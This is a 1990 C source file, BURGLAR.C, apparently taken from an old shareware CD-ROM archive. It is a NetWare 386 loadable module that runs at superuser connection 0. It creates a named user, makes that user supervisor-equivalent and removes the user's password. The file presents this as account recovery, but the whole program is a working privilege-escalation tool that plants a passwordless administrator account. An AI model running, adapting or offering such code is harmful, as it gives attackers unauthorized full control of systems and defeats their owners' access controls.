home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / BURGLAR.ZIP / BURGLAR.C next >
C/C++ Source or Header  |  1990-08-27  |  2KB  |  66 lines

  1. /* BURGLAR - To recover the supervisor account of netware 386 
  2.  
  3.    (c) 1990 Cyco Automation, created by Bart Mellink.
  4.             (My first NLM)
  5.  
  6. */
  7. #include <errno.h>
  8. #include <fcntl.h>
  9. #include <io.h>
  10. #include <stddef.h>
  11. #include <stdio.h>
  12. #include <string.h>
  13. #include <direct.h>
  14. #include <nwtypes.h>
  15. #include <nwbindry.h>
  16. #include <dos.h>
  17.  
  18. main( int argc, char *argv[] ) {
  19.     long task;
  20.     char *name;
  21.  
  22.     printf("BURGLAR - Create supervisor equivalent user account\n" );
  23.     printf("          (c) Cyco Automation (bm) 1990\n");
  24.  
  25.     task=SetCurrentTask(-1L);
  26.     SetCurrentConnection(0);    /* set connection 0 -> superuser */
  27.     SetCtrlCharCheckMode(0);     /* No abort on ctrl-c */
  28.  
  29.     name=argv[1];
  30.  
  31.     if (argc>1) {
  32.         /* First create an user object in the bindery */
  33.         if (CreateBinderyObject(name,OT_USER,BF_STATIC,0x31)==0)
  34.             printf("New user %s created\n",name);
  35.         else
  36.             printf("User %s allready exists\n",name);
  37.  
  38.         /* User object must have an equivalent property */
  39.         CreateProperty(name,OT_USER,"SECURITY_EQUALS",BF_STATIC|BF_SET,0x32);
  40.  
  41.         /* Add supervisor equivalent to equivalence property */
  42.         if (AddBinderyObjectToSet(name,OT_USER,"SECURITY_EQUALS","SUPERVISOR",OT_USER)==0)
  43.             printf("User made supervisor equivalent\n");
  44.         else
  45.             printf("User was allready supervisor equivalent\n");
  46.         
  47.         /* Create password property and make empty string */
  48.         if (ChangeBinderyObjectPassword(name,OT_USER,"","")==0)
  49.             printf("Password removed from user\n");
  50.         else {
  51.             /* On error check if we had allready empty password */
  52.             if (VerifyBinderyObjectPassword(name,OT_USER,"")==0)
  53.                 printf("Password was allready removed from user\n");
  54.             else
  55.                 printf("Could not remove password from user\n");
  56.         }
  57.     }
  58.     else {
  59.         printf("          Error: Username missing from commandline\n");
  60.     }
  61.  
  62.     ReturnBlockOfTasks(&task,1L);
  63.     ReturnConnection( GetCurrentConnection() );
  64.     return 0;
  65. }
  66.